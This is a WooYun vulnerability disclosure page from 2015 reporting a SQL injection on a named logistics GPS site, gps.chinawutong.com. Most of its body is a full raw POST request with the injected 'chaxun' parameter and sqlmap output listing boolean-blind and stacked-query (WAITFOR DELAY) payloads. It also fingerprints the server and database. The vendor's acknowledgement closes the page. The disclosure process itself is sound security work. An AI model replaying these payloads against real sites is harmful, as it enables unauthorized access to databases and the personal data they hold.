当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153164

漏洞标题：中国物通网某分站sql注入一枚

相关厂商：中国物通网

漏洞作者： 路人甲

提交时间：2015-11-10 10:03

修复时间：2015-12-25 13:50

公开时间：2015-12-25 13:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-10： 细节已通知厂商并且等待厂商处理中
2015-11-10： 厂商已经确认，细节仅向厂商公开
2015-11-20： 细节向核心白帽子及相关领域专家公开
2015-11-30： 细节向普通白帽子公开
2015-12-10： 细节向实习白帽子公开
2015-12-25： 细节向公众公开

简要描述：

RT

详细说明：

post注入

POST / HTTP/1.1
Content-Length: 3670
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://gps.chinawutong.com:80/
Cookie: ASP.NET_SessionId=syufkpivjuzvevv4x3pukfd4; validateCookie=ChkCode=05062523A042D35D; Hm_lvt_b056f6db54a055cf5bfde997b9ed913f=1447069412; Hm_lpvt_b056f6db54a055cf5bfde997b9ed913f=1447069412; bdshare_firstime=1447069415849; 49BAC005-7D5B-4231-8CEA-16939BEACD67=%u7528%u6237%u540D; ???=; hasshown=1
Host: gps.chinawutong.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
cx_login_butoon=%e6%9f%a5%e8%af%a2&authcode=%e9%aa%8c%e8%af%81%e7%a0%81&cb_remember=on&chaxun=-1'%20OR%201=1*%20--%20&password=g00dPa%24%24w0rD&passwordtx=%e8%af%b7%e8%be%93%e5%85%a5%e6%82%a8%e7%9a%84%e5%af%86%e7%a0%81&username=%e7%94%a8%e6%88%b7%e5%90%8d&__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWCQKXwZ3QCgKvpuq2CALr9PiDDQLyveCRDwKAl87pDAKFxtuLDwLOgcOPBwLtzraVAQL4n7BOzJF1Yie18%2bfX4x4m1mmG8N2kyq12a1W48Cwo6oQhidw%3d&__VIEWSTATE=/wEPDwUKLTgzMjY5OTI4MQ9kFggCAQ9kFggCAQ8WAh4Jb25rZXlkb3duBUhpZihldmVudC5rZXlDb2RlPT0xMykge2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dpbl9idXRvb24nKS5mb2N1cygpO31kAgUPFgIfAAVIaWYoZXZlbnQua2V5Q29kZT09MTMpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9naW5fYnV0b29uJykuZm9jdXMoKTt9ZAIHDxYCHwAFSGlmKGV2ZW50LmtleUNvZGU9PTEzKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luX2J1dG9vbicpLmZvY3VzKCk7fWQCDQ8WAh8ABUtpZihldmVudC5rZXlDb2RlPT0xMykge2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjeF9sb2dpbl9idXRvb24nKS5mb2N1cygpO31kAgIPFgIeCWlubmVyaHRtbAUGNjM1MDAzZAIDDxYCHgtfIUl0ZW1Db3VudAIUFihmD2QWAmYPFQcHMTU2MzA0MQnlhoBKQTkqKjYJ5p2O5b635rGfDDAxMC02MDI1NzY3OAzljqLlvI/otKfovaYCMTADNi44ZAIBD2QWAmYPFQcHMjI3NjUyMAnphIJBOTEqKjkJ5p2O5b635rGfDDAxMC02MDI1NzY3OAnlubPmnb/ovaYCMzICMTdkAgIPZBYCZg8VBwcxNTkxODY2Cei1o0RDNSoqMQnmnY7lvrfmsZ8MMDEwLTYwMjU3Njc4DOWOouW8j%2bi0p%2bi9pgIxMAM3LjdkAgMPZBYCZg8VBwcxNzU0NDI5Cem7kUFNMioqMgnlsKTnu4/nkIYMMDEwLTYxMjg3NzI5CemrmOagj%2bi9pgI0MAIxM2QCBA9kFgJmDxUHBjkzMzA4MgnosatEODEqKjgJ5byg546J5a2YCzE1MTM3NDQ3NTcxCemrmOagj%2bi9pgIzNQIxM2QCBQ9kFgJmDxUHBjgxOTg5MQnlhoBBSjgqKjIJ6auY5bCP5aeQCzE1NjMwNDMzOTkyCemrmOagj%2bi9pgIzOAIxM2QCBg9kFgJmDxUHBzE3NTgxMDAJ5pmLSzQ5KiozCeWnnOe7j%2beQhgsxMzI2MDIyMjEyOAnljYrmjILovaYCMzYCMTdkAgcPZBYCZg8VBwcxNTgyNTY4Cei1o0Y2NSoqOAnmnY7lvrfmsZ8MMDEwLTYwMjU3Njc4CeS9juagj%2bi9pgIyOAM5LjZkAggPZBYCZg8VBwcxNTk2Mzk5CemEgkE5MSoqNwnmnY7lvrfmsZ8LMTM4MTA3Mjc5MDMJ5bmz5p2/6L2mAjM1BDE3LjVkAgkPZBYCZg8VBwcxNzY3MDg0CeahgkFEOCoqNQnmnY7lvrfmsZ8MMDEwLTYwMjU3Njc4CemrmOagj%2bi9pgI1MAIxM2QCCg9kFgJmDxUHBzE2MzMwNDUJ5qGCQzE5KiozCeadjuW%2bt%2baxnwwwMTAtNjAyNTc2NzgJ6auY5qCP6L2mAjM4AjEzZAILD2QWAmYPFQcHMjU3MzU3NQnlkIlENTMqKjkJ5a2Z57uP55CGCzEzNTIwMDUxMDE3CemrmOagj%2bi9pgI0MAIxM2QCDA9kFgJmDxUHBzIwMDkyMTUJ5pmLRTI5KioyCeadjuW%2bt%2baxnwwwMTAtNjAyNTc2NzgJ5bmz5p2/6L2mAjM5BDE3LjVkAg0PZBYCZg8VBwcxNjMyOTk5Cei1o0NMMyoqMgnmnY7lvrfmsZ8MMDEwLTYwMjU3Njc4CemrmOagj%2bi9pgIzNQE5ZAIOD2QWAmYPFQcHMTU5MTg0OQnpl71BQjYqKjAJ5p2O5b635rGfDDAxMC02MDI1NzY3OAnljYrmjILovaYCMzACMTNkAg8PZBYCZg8VBwcxNzU1NjEyCemXvURCMCoqNQnmnY7lvrfmsZ8MMDEwLTYwMjU3Njc4CeS9juagj%2bi9pgIzOAIxM2QCEA9kFgJmDxUHBzE1ODk5NjAJ6L69Qzc2KioyCeadjuW%2bt%2baxnwwwMTAtNjAyNTc2NzgJ6auY5qCP6L2mAjI1AzkuNmQCEQ9kFgJmDxUHBzE3ODIyMTQJ6Z2SQUZXKio1CeadjuW%2bt%2baxnwwwMTAtNjAyNTc2NzgM5Y6i5byP6LSn6L2mATMBNGQCEg9kFgJmDxUHBzE1ODgxMDMJ6ZmVRDI2Kio4CeadjuW%2bt%2baxnwwwMTAtNjAyNTc2NzgM5Y6i5byP6LSn6L2mAjEzAzYuOGQCEw9kFgJmDxUHBzE1NTYxNDkJ5pmLTDU1KioxCeadjuW%2bt%2baxnwwwMTAtNjAyNTc2NzgJ6auY5qCP6L2mAjM4AjEzZAIEDxYCHwICGBYwZg9kFgJmDxUBBXptMTY4ZAIBD2QWAmYPFQEGamlqdW5mZAICD2QWAmYPFQEKRXhwcmVzc0EuLmQCAw9kFgJmDxUBCXB0aW5nZG9uZ2QCBA9kFgJmDxUBCmd1d2FuZ3hpLi5kAgUPZBYCZg8VAQpmdWVyY2hlbi4uZAIGD2QWAmYPFQEKeWlsb25nMDMxMWQCBw9kFgJmDxUBCjE4NjAzODcwLi5kAggPZBYCZg8VAQoxMzY3NjA4OC4uZAIJD2QWAmYPFQEHaGtqazAwN2QCCg9kFgJmDxUBCHN3aW1taW5nZAILD2QWAmYPFQEJaGVuYW55dWJvZAIMD2QWAmYPFQEKcWluZ2Rhb2wuLmQCDQ9kFgJmDxUBB2Nhd2luMDFkAg4PZBYCZg8VAQoxNTgzNjUwNi4uZAIPD2QWAmYPFQEEa2p5dGQCEA9kFgJmDxUBBnp6ODU4N2QCEQ9kFgJmDxUBCXFkaDEyMzE1MGQCEg9kFgJmDxUBCjE1MjgyNTA2Li5kAhMPZBYCZg8VAQV6YndkYmQCFA9kFgJmDxUBCjE4NjYxNjc5Li5kAhUPZBYCZg8VAQoxMzgzOTQxMy4uZAIWD2QWAmYPFQEIeXlrajIwMTVkAhcPZBYCZg8VAQR5cDE2ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQULY2JfcmVtZW1iZXKjyfmwxMx4Yh5KN4Rmo10VwYI4J/5kuSZp7JGP9AfWog%3d%3d


chaxun为注入点

物通gps1.png


sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cx_login_butoon=%e6%9f%a5%e8%af%a2&authcode=%e9%aa%8c%e8%af%81%e7%a0%81&cb_remember=on&chaxun=-1' OR 1=1 AND 4558=4558 -- &password=g00dPa$$w0rD&passwordtx=%e8%af%b7%e8%be%93%e5%85%a5%e6%82%a8%e7%9a%84%e5%af%86%e7%a0%81&username=%e7%94%a8%e6%88%b7%e5%90%8d&__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWCQKXwZ3QCgKvpuq2CALr9PiDDQLyveCRDwKAl87pDAKFxtuLDwLOgcOPBwLtzraVAQL4n7BOzJF1Yie18+fX4x4m1mmG8N2kyq12a1W48Cwo6oQhidw=&__VIEWSTATE=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
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: cx_login_butoon=%e6%9f%a5%e8%af%a2&authcode=%e9%aa%8c%e8%af%81%e7%a0%81&cb_remember=on&chaxun=-1' OR 1=1;WAITFOR DELAY '0:0:5'-- -- &password=g00dPa$$w0rD&passwordtx=%e8%af%b7%e8%be%93%e5%85%a5%e6%82%a8%e7%9a%84%e5%af%86%e7%a0%81&username=%e7%94%a8%e6%88%b7%e5%90%8d&__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWCQKXwZ3QCgKvpuq2CALr9PiDDQLyveCRDwKAl87pDAKFxtuLDwLOgcOPBwLtzraVAQL4n7BOzJF1Yie18+fX4x4m1mmG8N2kyq12a1W48Cwo6oQhidw=&__VIEWSTATE=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
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2012


8个库

物通dbs.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-11-10 13:50

厂商回复：

感谢反馈　　已经通知相关人员修复

最新状态：

暂无

漏洞评价：

评价